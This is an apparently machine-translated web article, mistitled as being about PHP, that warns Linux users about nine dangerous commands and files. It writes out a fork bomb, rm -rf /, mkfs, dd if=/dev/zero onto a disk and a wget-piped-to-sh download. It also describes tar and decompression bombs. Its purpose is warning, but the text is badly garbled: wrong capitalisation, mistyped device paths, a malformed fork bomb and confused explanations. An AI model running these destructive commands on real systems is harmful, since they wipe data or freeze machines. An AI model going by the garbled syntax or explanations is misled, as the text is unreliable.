9 PHP Commands & code that must always be vigilant
The Linux shell/terminal command is very powerful, even though a simple command can cause folders, files, or path folders to be deleted.
In some cases, Linux does not even ask you to execute commands directly, causing you to lose a variety of data information.
It is generally recommended that new Linux users execute these commands on the web, and of course, someone who has written this code doesn't think so because it's not a joke when you write it down.
Here I have collected some Linux code that is harmful to the system to help you avoid them. Keep in mind that these codes are dangerous and can even be modified to become more damaging.
There are a few things to note: Some commands are dangerous only if you have sudo prefixes in Ubuntu. Other releases of Linux are harmful when used as root commands.
1. Linux Fork Bomb Command
:() {: |: &}: Known as fork Bomb, is a Linux system for denial of service attacks. :() {: |: &};: is a bash function. As long as it is executed, he will keep repeating until the system is frozen.
You can only restart the system to solve this problem. So when you execute this command on the Linux interface, be sure to pay attention.
2. Mv Folder/dev/null Command
MV Folder/dev/null is also a dangerous command. Dev/null or NULL is a device file that deletes all data written on this device file, but the action prompt is a successful write operation. This is what we often call bit bucked or black hole.
3. RM-RF Command
The RM-RF command allows you to quickly delete a folder and its contents in a Linux system. If you don't know how to use it correctly, you only have to cry.
The most common combinations and choices for the M-RF command are listed below:
- RM command: Delete files from Linux system
- Rm-f command: Delete the read-only file from the file without prompting
- Rm-r command Loop to delete the contents of a folder
- rm-d command: Delete empty directory, if non-empty directory will not do the operation
- Rm-rf/command: Forces the deletion of all content and subfolders in the root directory including the write-protected files command.
- rm-rf* command: Force delete all contents in current directory current working directory) and Word folder
- RM-RF. Command: Forces all content in the current folder directory/subdirectory to be deleted. With rm-r.[^.] *
The rm-r.[^.] * Command: Delete files and folders with Delete prompt
4. Mkfs Command
If you do not know the role of MKFS, then it is also a dangerous command, MKFS after any command will be written by a blank Linux file system format, replace.
The following is a list of commands that require administrator privileges to format a hard disk:
- Mkfs
- Mkfs.ext3
- Mkfs.bfs
- Mkfs.ext2
- Mkfs.minix
- Mkfs.msdos Mkfs.reiserfs
- Mkfs.vfat
Mkfs.cramfs can also do the same thing as the above code, but does not need to manage source permissions.
5. Tar Bomb
The tar command is used to put multiple files into a file in the. tar format in an archive file). Tape Archive (Tar) bomb can be created by him.
When compressed, this archive file generates tens of thousands of similar name files that appear in the current directory instead of the new directory.
You can avoid being a victim of tar bomb when you receive a tar file, create a new protection directory on a regular basis, and then place the accepted tar file in this directory before extracting it.
6. Dd Command
The DD command is used to copy & change hard disk partitions. If you use the wrong place, it's also dangerous.
The following is a list of DD commands:
- DD If=/dev/hda OF=/DEV/HDB
- DD If=/dev/hda OF=/DEV/SDB
- DD if=something Of=/dev/hda
- DD if=something OF=/DEV/SDA
The following command will clear the entire primary drive 0: DD If=/dev/zero of=/dev/had
7. Shell Script Code
Sometimes, you might get a pit, give you a shell script file that lets you download and execute it. The script may contain some malicious or dangerous code. The command form might be like this: wget http://some_malicious_source-o-| Sh. wget will download the script at the moment of the sh narrow script.
8. Malicious Source Code
Maybe someone will give you the source code to get you to compile him. The code may be normal code, but some malicious code is disguised in large source code, and if so, your system is shot. How to avoid it? Only accept and compile source code for trusted sources.
9. Decompression Bomb
You have received a compressed file and you are asked to extract this seemingly small file, which may be as small as KB. In fact, the small size of the compressed file contains highly compressed data.
As long as the file is extracted, hundreds of gigabytes of data will be extracted, at this time, too much data fills the hard drive resulting in downtime, the odds are great. How to avoid it? Or the old saying, do not hand cheap, what files are to receive, please receive trusted source files.
http://www.bkjia.com/PHPjc/915114.html www.bkjia.com true http://www.bkjia.com/PHPjc/915114.html techarticle 9 PHP command amp that must always be vigilant;: Known as fork Bomb, is a Linux system that denies service attacks. :() {: |:};: is a bash function. As long as it is executed, he will keep repeating, ...